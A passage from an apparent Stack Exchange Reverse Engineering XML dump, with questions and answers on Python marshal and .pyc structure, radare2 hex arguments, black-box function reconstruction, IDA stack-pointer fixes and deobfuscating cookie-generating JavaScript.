&lt;code&gt;baz&lt;/code&gt; code object? I can't see all this information: &lt;code&gt;0x7f380995e5d0, file &quot;foo.py&quot;, line 7&lt;/code&gt; in the marshaled string. Does the object id &lt;code&gt;0x7f380995e5d0&lt;/code&gt; stored in the marshaled code or it is created each time the program is running? &lt;/li&gt;&#xA;&lt;li&gt;If it is not stored, how the connection of objects is preserved in the marshaled code objects (&lt;code&gt;.pyc&lt;/code&gt; files)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think, I will investigate by the &lt;code&gt;gdb&lt;/code&gt; further, but maybe this approach (&lt;code&gt;.pyc&lt;/code&gt; file deciphering) also will do the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Current result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used all this information for creating the next file: the first column is the binary representation of marshaled code object, the second is the meaning of each byte sequences, which I have determined already.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b'&#xA;\xe3                    &amp;lt;don't know&amp;gt;&#xA;\x00\x00\x00\x00        &amp;lt;foo.py: co_argcount: 0&amp;gt;&#xA;\x00\x00\x00\x00        &amp;lt;foo.py: co_kwonlyargcount: 0&amp;gt;&#xA;\x00\x00\x00\x00        &amp;lt;foo.py: co_nlocals: 0&amp;gt;&#xA;\x03\x00\x00\x00        &amp;lt;foo.py: co_stacksize: 3&amp;gt;               &#xA;@\x00\x00\x00           &amp;lt;foo.py: co_flags = '@' = 0x40 = 64&amp;gt;&#xA;s.\x00\x00\x00          &amp;lt;foo.py: number of bytes for module instructions = '.' = 46&amp;gt;&#xA;d\x00                   &amp;lt;foo.py: co_code:  0 LOAD_CONST        0 (1)&#xA;Z\x00                   &amp;lt;foo.py: co_code:  2 STORE_NAME        0 (a)&#xA;d\x01                   &amp;lt;foo.py: co_code:  4 LOAD_CONST        1 (2)&#xA;Z\x01                   &amp;lt;foo.py: co_code:  6 STORE_NAME        1 (b)&#xA;e\x00                   &amp;lt;foo.py: co_code:  8 LOAD_NAME         0 (a)&#xA;e\x01                   &amp;lt;foo.py: co_code: 10 LOAD_NAME         1 (b)&#xA;\x17\x00                &amp;lt;foo.py: co_code: 12 BINARY_ADD&#xA;Z\x02                   &amp;lt;foo.py: co_code: 14 STORE_NAME        2 (c)&#xA;d\x02                   &amp;lt;foo.py: co_code: 16 LOAD_CONST        2 (&amp;lt;code object baz at 0x7f380995e5d0, file &quot;foo.py&quot;, line 7&amp;gt;)&#xA;d\x03                   &amp;lt;foo.py: co_code: 18 LOAD_CONST        3 ('baz')&#xA;\x84\x00                &amp;lt;foo.py: co_code: 20 MAKE_FUNCTION     0&#xA;Z\x03                   &amp;lt;foo.py: co_code: 22 STORE_NAME        3 (baz)&#xA;e\x03                   &amp;lt;foo.py: co_code: 24 LOAD_NAME         3 (baz)&#xA;e\x00                   &amp;lt;foo.py: co_code: 26 LOAD_NAME         0 (a)&#xA;e\x01                   &amp;lt;foo.py: co_code: 28 LOAD_NAME         1 (b)&#xA;\x83\x02                &amp;lt;foo.py: co_code: 30 CALL_FUNCTION     2&#xA;Z\x04                   &amp;lt;foo.py: co_code: 32 STORE_NAME        4 (multiplication)&#xA;e\x04                   &amp;lt;foo.py: co_code: 34 LOAD_NAME         4 (multiplication)&#xA;d\x01                   &amp;lt;foo.py: co_code: 36 LOAD_CONST        1 (2)&#xA;\x13\x00                &amp;lt;foo.py: co_code: 38 BINARY_POWER&#xA;Z\x05                   &amp;lt;foo.py: co_code: 40 STORE_NAME        5 (square)&#xA;d\x04                   &amp;lt;foo.py: co_code: 42 LOAD_CONST        4 (None)&#xA;S\x00                   &amp;lt;foo.py: co_code: 44 RETURN_VALUE&#xA;)\x05                   &amp;lt;foo.py: co_const: size&amp;gt;&#xA;\xe9\x01\x00\x00\x00    &amp;lt;foo.py: co_const[0]: 1&amp;gt;&#xA;\xe9\x02\x00\x00\x00    &amp;lt;foo.py: co_const[1]: 2&amp;gt;&#xA;c                       &amp;lt;TYPE_CODE&amp;gt;&#xA;\x02\x00\x00\x00        &amp;lt;baz: co_argcount: 2&amp;gt;&#xA;\x00\x00\x00\x00        &amp;lt;baz: co_kwonlyargcount: 0&amp;gt;&#xA;\x02\x00\x00\x00        &amp;lt;baz: co_nlocals: 2&amp;gt;&#xA;\x02\x00\x00\x00        &amp;lt;baz: co_stacksize: 2&amp;gt;               &#xA;C\x00\x00\x00           &amp;lt;baz: co_flags = 'C' = 0x43 = 67&amp;gt;&#xA;s\x08\x00\x00\x00       &amp;lt;baz: co_code: size = 8 bytes&amp;gt;&#xA;|\x00                   &amp;lt;baz: co_code: 0 LOAD_FAST                0 (x) &#xA;|\x01                   &amp;lt;baz: co_code: 2 LOAD_FAST                1 (y) &#xA;\x14\x00                &amp;lt;baz: co_code: 4 BINARY_MULTIPLY                &#xA;S\x00                   &amp;lt;baz: co_code: 6 RETURN_VALUE                   &#xA;)\x01                   &amp;lt;baz: co_const: size&amp;gt;&#xA;N                       &amp;lt;baz: co_const[0]: None&amp;gt;&#xA;\xa9\x00                &amp;lt;don't know&amp;gt; &#xA;)\x02                   &amp;lt;baz: co_varnames: size&amp;gt;&#xA;\xda\x01                &amp;lt;baz: number of characters of next item&amp;gt;&#xA;x                       &amp;lt;baz: co_varnames[0]: x&amp;gt;&#xA;\xda\x01                &amp;lt;baz: number of characters of next item&amp;gt;&#xA;y                       &amp;lt;baz: co_varnames[1]: y&amp;gt;&#xA;r\x03\x00\x00\x00       &amp;lt;baz: don't know. But the 'r' = 'TYPE_REF'&amp;gt;&#xA;r\x03\x00\x00\x00       &amp;lt;baz: don't know. But the 'r' = 'TYPE_REF'&amp;gt;&#xA;\xfa\x06                &amp;lt;baz: next item length&amp;gt;&#xA;foo.py                  &amp;lt;baz: co_filename&amp;gt;&#xA;\xda\x03                &amp;lt;baz: number of characters of next item&amp;gt;&#xA;baz                     &amp;lt;baz: co_name: 'baz'&amp;gt;&#xA;\x07\x00\x00\x00        &amp;lt;baz: co_firstlineno: 7&amp;gt;&#xA;s\x02\x00\x00\x00       &amp;lt;baz: co_lnotab: size = 2 &amp;gt;&#xA;\x00\x01                &amp;lt;baz: co_lnotab&amp;gt;&#xA;r\x07\x00\x00\x00       &amp;lt;foo.py: co_const[3]: reference to baz&amp;gt;&#xA;N                       &amp;lt;foo.py: co_const[4]: None&amp;gt;&#xA;)\x06                   &amp;lt;foo.py: co_names: size&amp;gt; &#xA;\xda\x01                &amp;lt;foo.py: number of characters of next item&amp;gt;&#xA;a                       &amp;lt;foo.py: co_names[0]: a&amp;gt;&#xA;\xda\x01                &amp;lt;foo.py: number of characters of next item&amp;gt;&#xA;b                       &amp;lt;foo.py: co_names[1]: b&amp;gt;&#xA;\xda\x01                &amp;lt;foo.py: number of characters of next item&amp;gt;&#xA;c                       &amp;lt;foo.py: co_names[2]: c&amp;gt;&#xA;r\x07\x00\x00\x00       &amp;lt;foo.py: co_names[3]: reference to baz&amp;gt;&#xA;Z\x0e                   &amp;lt;foo.py: number of characters of next item&amp;gt;&#xA;multiplication          &amp;lt;foo.py: co_names[4]: multiplication&amp;gt;&#xA;Z\x06                   &amp;lt;foo.py: number of characters of next item&amp;gt;&#xA;square                  &amp;lt;foo.py: co_names[5]: square&amp;gt;&#xA;r\x03\x00\x00\x00       &amp;lt;foo.py: don't know&amp;gt;     &#xA;r\x03\x00\x00\x00       &amp;lt;foo.py: don't know&amp;gt;     &#xA;r\x03\x00\x00\x00       &amp;lt;foo.py: don't know&amp;gt;     &#xA;r\x06\x00\x00\x00       &amp;lt;foo.py: don't know&amp;gt;     &#xA;\xda\x08                &amp;lt;foo.py: number of characters of next item&amp;gt;&#xA;&amp;lt;module&amp;gt;                &amp;lt;foo.py: co_name&amp;gt;&#xA;\x03\x00\x00\x00        &amp;lt;foo.py: co_firstlineno&amp;gt;&#xA;s\n\x00\x00\x00         &amp;lt;foo.py: co_lnotab: size = '\n' = 0A&amp;gt;&#xA;\x04\x01                &amp;lt;foo.py: o_lnotab&amp;gt; &#xA;\x04\x01                &amp;lt;foo.py: o_lnotab&amp;gt;&#xA;\x08\x02                &amp;lt;foo.py: o_lnotab&amp;gt;&#xA;\x08\x07                &amp;lt;foo.py: o_lnotab&amp;gt;&#xA;\n\x01'                 &amp;lt;foo.py: o_lnotab&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Code snippets required for replication:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;1) &lt;strong&gt;The source code&lt;/strong&gt;: &lt;code&gt;foo.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = 1 &#xA;b = 2 &#xA;c = a + b &#xA;&#xA;def baz(x,y):&#xA;    return x * y&#xA;&#xA;multiplication = baz(a,b)&#xA;square = multiplication ** 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) &lt;strong&gt;The marshaled representation&lt;/strong&gt; of &lt;code&gt;foo.py&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;source_py = &quot;foo.py&quot;&#xA;&#xA;with open(source_py) as f_source:&#xA;    source_code = f_source.read()&#xA;&#xA;code_obj_compile = compile(source_code, source_py, &quot;exec&quot;)&#xA;&#xA;data = marshal.dumps(code_obj_compile)&#xA;&#xA;print(data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) &lt;strong&gt;The full (recursive) disassembly&lt;/strong&gt; of the code object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import types&#xA;&#xA;dis.dis(code_obj_compile)&#xA;&#xA;for x in code_obj_compile.co_consts:&#xA;    if isinstance(x, types.CodeType):&#xA;        sub_byte_code = x&#xA;        func_name = sub_byte_code.co_name&#xA;        print('\nDisassembly of %s:' % func_name)&#xA;        dis.dis(sub_byte_code)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4) &lt;strong&gt;All code object's field values&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def print_co_obj_fields(code_obj):&#xA;    # Iterating through all instance attributes&#xA;    # and calling all having the 'co_' prefix&#xA;    for name in dir(code_obj):&#xA;        if name.startswith('co_'):&#xA;            co_field = getattr(code_obj, name)&#xA;            print(f'{name:&amp;lt;20} = {co_field}')&#xA;&#xA;print_co_obj_fields(code_obj_compile)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26990" LastEditorUserId="26990" LastEditDate="2019-04-10T21:17:50.630" LastActivityDate="2019-04-16T09:55:54.290" Title="The structure of the Python's marshaled code object (or .pyc file)" Tags="|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21086" PostTypeId="1" CreationDate="2019-04-08T23:54:28.643" Score="1" ViewCount="538" Body="&lt;p&gt;I can quickly test hex string arguments in &lt;code&gt;gdb&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r $'\x61\x61\x61\x61'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to do something similar in &lt;code&gt;radare2&lt;/code&gt; but all I can figure out is regular strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;doo aaaa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried this but the argument isn't interpreted as a hex string&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;doo $'\x61\x61\x61\x61'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I format a hex string argument and pass it to &lt;code&gt;doo&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerDisplayName="user28086" LastActivityDate="2019-04-10T07:27:02.437" Title="Passing hex strings to Radare2" Tags="|radare2|hex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21088" PostTypeId="2" ParentId="21086" CreationDate="2019-04-09T05:46:54.773" Score="1" Body="&lt;p&gt;There most be a better way than the one I going to show you but this is how I do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I make a rarun2 profile. I'm going to call it &quot;tmp.rr2&quot; and it will contain this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; #!/usr/bin/rarun2&#xA; arg1=\x6f\x60\x72\x72\x76\x6e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: arguments from arg1..arg[N]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the command line type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ r2 -r tmp.rr2 -d crackme02&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: You can update the file and run &lt;code&gt;ood&lt;/code&gt;/&lt;code&gt;doo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I found a better way so you don't have to make a rarun2 profile: &lt;br&gt;&#xA;Run r2 as normal and type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; dor arg1=\x6f\x60\x72\x72\x76\x6e&#xA;&amp;gt; doo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24762" LastEditorUserId="24762" LastEditDate="2019-04-10T07:27:02.437" LastActivityDate="2019-04-10T07:27:02.437" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21089" PostTypeId="1" CreationDate="2019-04-09T07:40:15.580" Score="3" ViewCount="2336" Body="&lt;p&gt;Imagine you are reverse engineering a software. This software uses a library, which is obfuscated and encrypted. The library contains a function, lets call it &lt;code&gt;secret_function&lt;/code&gt;. This function is a pure function (i.e. it doesn't have any side effect and when called with the same arguments it returns always the same output).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming i can call &lt;code&gt;secret_function&lt;/code&gt; how may times i want, with whichever arguments i want, but i can't peek at the implementation, is it possible to build an equivalent function in another language (python for example), only analyzing the input and output values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example implementation of &lt;code&gt;secret_function&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int secret_function(int a, int b) {&#xA;    if (a == 234) {&#xA;        return b*2 - a;&#xA;    }&#xA;    return a*b;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A way to archive this i thought of is to call the function with every possible argument, (in the example 2^32 * 2^32, assuming a 32 bit int) and store all of them, to return them based on the arguments, like a giant lookup table. But this doesn't seem very efficient, if at all possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;You can assume that the function is working with fixed size arguments. So no strings or variable length arrays.&lt;/p&gt;&#xA;" OwnerUserId="21036" LastEditorUserId="21036" LastEditDate="2019-04-09T15:55:01.917" LastActivityDate="2019-04-10T08:02:00.540" Title="Is it possible to build an equivalent function just looking at the input and output of the original function?" Tags="|functions|hash-functions|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21091" PostTypeId="2" ParentId="21089" CreationDate="2019-04-09T08:45:02.467" Score="6" Body="&lt;p&gt;Your problem seems to be related to what Sibyl aim at doing (&lt;a href=&quot;https://github.com/cea-sec/Sibyl&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/cea-sec/Sibyl&lt;/a&gt;). &#xA;It tries based on the side effects of the function (return value, memory writes, ...) to identify a known function.&#xA;Of course, you will need a kind of database to &quot;learn&quot; the function !&lt;/p&gt;&#xA;" OwnerUserId="15903" LastActivityDate="2019-04-09T08:45:02.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21092" PostTypeId="2" ParentId="21089" CreationDate="2019-04-09T10:16:30.383" Score="5" Body="&lt;p&gt;If you have all the possible input and all the expected outputs, and they're not indistinguishable from encrypted/compressed data, you can find more efficient storage mechanisms than just having a large lookup table. Even a simple genetic algorithm can very quickly get you to &quot;use a * b, unless a == 234&quot; (I've actually made a solver specifically for this kind of problem, though in a more general mathematical formula case). In the end, it's a rather ordinary optimization problem, where you're balancing off the storage space, computation and preparation time needed to give the correct result. More complicated algorithms can take longer to solve, which is one of the reasons why encryption works - those algorithms are specifically designed to make it extremely labor intensive to go from a set of known inputs and outputs to the private key used for the encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in any case, to have &lt;em&gt;certainty&lt;/em&gt;, you must try all possible inputs. That's easy enough (though certainly laborious) for a couple integers, but quickly gets untenable for something like a string.&lt;/p&gt;&#xA;" OwnerUserId="15507" LastActivityDate="2019-04-09T10:16:30.383" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21093" PostTypeId="2" ParentId="21020" CreationDate="2019-04-09T10:36:11.483" Score="4" Body="&lt;p&gt;When you encounter this kind of error, just make sure that the stack pointer is aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2M8AA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2M8AA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Options tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YJYN0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YJYN0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click General...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/e0NIy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e0NIy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the Stack Pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will show the stack pointers at the left side.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/awccq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/awccq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/izgoy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/izgoy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the sub esp, 0x15c, press Alt+k, then click OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/87lFj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/87lFj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it must be able to solve your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YSt2z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YSt2z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press F5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mxhJh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mxhJh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23113" LastActivityDate="2019-04-09T10:36:11.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21094" PostTypeId="2" ParentId="21085" CreationDate="2019-04-09T11:55:46.627" Score="4" Body="&lt;p&gt;The answer below is with reference to Python 2.7&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How the Virtual Machine will found the baz code object? I can't see all this information: 0x7f380995e5d0, file &quot;foo.py&quot;, line 7 in the marshaled string. Does the object id 0x7f380995e5d0 stored in the marshaled code or it is created each time the program is running?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;baz&lt;/code&gt; code object is located within the &lt;code&gt;co_consts&lt;/code&gt; member. Going by your example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import marshal&#xA;&amp;gt;&amp;gt;&amp;gt; import dis&#xA;&amp;gt;&amp;gt;&amp;gt; &#xA;&amp;gt;&amp;gt;&amp;gt; source_py = &quot;foo.py&quot;&#xA;&amp;gt;&amp;gt;&amp;gt; &#xA;&amp;gt;&amp;gt;&amp;gt; with open(source_py) as f_source:&#xA;...     source_code = f_source.read()&#xA;&amp;gt;&amp;gt;&amp;gt; &#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; code_obj_compile = compile(source_code, source_py, &quot;exec&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you disassemble, the newly generated code object you can find references to &lt;code&gt;baz&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; dis.dis(code_obj_compile)&#xA;  1           0 LOAD_CONST               0 (7)&#xA;              3 STORE_NAME               0 (a)&#xA;&#xA;  2           6 LOAD_CONST               1 (5)&#xA;              9 STORE_NAME               1 (b)&#xA;&#xA;  3          12 LOAD_NAME                0 (a)&#xA;             15 LOAD_NAME                1 (b)&#xA;             18 BINARY_ADD&#xA;             19 STORE_NAME               2 (c)&#xA;&#xA;  5          22 LOAD_CONST               2 (&amp;lt;code object baz at 0x7f1dcdb06bb0, file &quot;foo.py&quot;, line 5&amp;gt;)&#xA;             25 MAKE_FUNCTION            0&#xA;... snip...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;baz&lt;/code&gt; code object is located within the &lt;code&gt;co_consts&lt;/code&gt; array of the parent code object as shown below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; code_obj_compile.co_consts[2]&#xA;&amp;lt;code object baz at 0x7f1dcdb06bb0, file &quot;foo.py&quot;, line 5&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you can disassemble that as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; dis.dis(code_obj_compile.co_consts[2])&#xA;  6           0 LOAD_FAST                0 (x)&#xA;              3 LOAD_FAST                1 (y)&#xA;              6 BINARY_MULTIPLY&#xA;              7 RETURN_VALUE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The objects will be created each time the program is run. Hence the addresses will change correspondingly.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If it is not stored, how the connection of objects is preserved in the marshaled code objects (.pyc files)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just explained. If you look at the instruction carefully you can notice the &lt;code&gt;LOAD_CONST&lt;/code&gt; instruction takes a offset as a parameter - the operand.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  5          22 LOAD_CONST               2 (&amp;lt;code object baz at 0x7f1dcdb06bb0, file &quot;foo.py&quot;, line 5&amp;gt;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the offset is 2 which instructs the Python Virtual Machine to load the third (zero based) item in the &lt;code&gt;co_consts&lt;/code&gt; array on to the evaluation stack. So the &quot;connection&quot; is preserved using the offsets into the other metadata members.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2019-04-09T11:55:46.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21095" PostTypeId="2" ParentId="21089" CreationDate="2019-04-09T13:03:33.803" Score="4" Body="&lt;p&gt;Unless you try all the input possibilities, as you suggested, you can only get an approximation of the function. This is basically one of the basic problems in the machine learning field, so I would look that way instead of trying to generate a lookup table for 2^32 * 2^32 values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should obviously be careful that you won't have 100% guarantee that the function is equivalent and also remember that in particular fields how the output is computed is as important as the output itself. Take encryption functions: having the same outputs but exposing informations (due to memory leaks, power usage spikes and so on) for side channel attacks means that the &quot;equivalent&quot; function is in fact far worse than the original (to the point it might not be a suitable replacement).&lt;/p&gt;&#xA;" OwnerUserId="28091" LastActivityDate="2019-04-09T13:03:33.803" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21096" PostTypeId="1" CreationDate="2019-04-09T14:57:52.003" Score="1" ViewCount="171" Body="&lt;p&gt;I am working with some extremely complicated JavaScript. It is around 70,000 lines long and sections of the code look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;U2xx.l11=&quot;0x78920d50&quot;;m2xx.r9G=&quot;11&quot;;b2xx.v3y=&quot;0x744ebc37&quot;;P2xx.K5h=&quot;0x4949db92&quot;;k4vv.k7Q=1099;k4vv.j6Q=255;C2xx.m6V=7035;f2xx.S7U=&quot;0x88f07878&quot;;v2xx.U0z=&quot;10991&quot;;h2xx.c0b=&quot;2665&quot;;U2xx.T11=&quot;0xd52da96f&quot;;I2xx.O2z=&quot;10410&quot;;v2xx.H2k=&quot;450&quot;;B2xx.L7n=0x88;E2xx.X4y=&quot;0xe8&quot;;j2xx.f4h=&quot;0xd36ebdd3&quot;;M2xx.o21=&quot;0x30fa5520&quot;;Z2xx.T4b=&quot;6325&quot;;F2xx.s4G=&quot;9036&quot;;G2xx.L2r=0xf46e5918;b2xx.X3y=&quot;0xe11ce5ed&quot;;h2xx.y0b=&quot;8843&quot;;Q2xx.H3Z=5152;b2xx.V7y=&quot;0xe89c636e&quot;;S2xx.v3b=&quot;6598&quot;;n2xx.E5y=&quot;0x00000000&quot;;K2xx.x90=&quot;0x7f456253&quot;;E2xx.J8y=&quot;0x88&quot;;i2xx.C70=&quot;0x30f3dcb2&quot;;Z2xx.X1b=&quot;6970&quot;;G2xx.z2r=0x171d121b;k2xx.e35=0x9c;Y2xx.s80=&quot;0x9d342e53&quot;;i2xx.j70=&quot;0x937c69d0&quot;;S2xx.a5b=&quot;3997&quot;;s2xx.l0t=&quot;5261&quot;;h2xx.C0b=&quot;3278&quot;;l2xx.a40=&quot;0x0f9357e7&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know the Javascript is used to generate cookies to authenticate post requests sent to a web server just I am struggling to figure out how with the extremely obfuscated variable names and values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools that will help me reverse the hex values and present variables in a nice way? I have tried several tools like jsbeautify, jsnice and also Malzilla but to no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have posted some more code below if this helps provide more context&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;U2xx.l11=&quot;0x78920d50&quot;;m2xx.r9G=&quot;11&quot;;b2xx.v3y=&quot;0x744ebc37&quot;;P2xx.K5h=&quot;0x4949db92&quot;;k4vv.k7Q=1099;k4vv.j6Q=255;C2xx.m6V=7035;f2xx.S7U=&quot;0x88f07878&quot;;v2xx.U0z=&quot;10991&quot;;h2xx.c0b=&quot;2665&quot;;U2xx.T11=&quot;0xd52da96f&quot;;I2xx.O2z=&quot;10410&quot;;v2xx.H2k=&quot;450&quot;;B2xx.L7n=0x88;E2xx.X4y=&quot;0xe8&quot;;j2xx.f4h=&quot;0xd36ebdd3&quot;;M2xx.o21=&quot;0x30fa5520&quot;;Z2xx.T4b=&quot;6325&quot;;F2xx.s4G=&quot;9036&quot;;G2xx.L2r=0xf46e5918;b2xx.X3y=&quot;0xe11ce5ed&quot;;h2xx.y0b=&quot;8843&quot;;Q2xx.H3Z=5152;b2xx.V7y=&quot;0xe89c636e&quot;;S2xx.v3b=&quot;6598&quot;;n2xx.E5y=&quot;0x00000000&quot;;K2xx.x90=&quot;0x7f456253&quot;;E2xx.J8y=&quot;0x88&quot;;i2xx.C70=&quot;0x30f3dcb2&quot;;Z2xx.X1b=&quot;6970&quot;;G2xx.z2r=0x171d121b;k2xx.e35=0x9c;Y2xx.s80=&quot;0x9d342e53&quot;;i2xx.j70=&quot;0x937c69d0&quot;;S2xx.a5b=&quot;3997&quot;;s2xx.l0t=&quot;5261&quot;;h2xx.C0b=&quot;3278&quot;;l2xx.a40=&quot;0x0f9357e7&quot;;T2xx.v8U=&quot;0xd46a6abe&quot;;k4vv.R1Q=12;h2xx.Z0b=&quot;1877&quot;;W2xx.v25=&quot;10592&quot;;C2xx.t5V=8003;u2xx.J8r=0x133c89eb;i2xx.n70=0xd1c1d938;r2xx.f6U=&quot;0x3ddfe2e2&quot;;T2xx.R8U=&quot;0x81cdcd4c&quot;;M2xx.x81=&quot;0x082b94f9&quot;;G2xx.r7h=&quot;0xf8f813eb&quot;;g2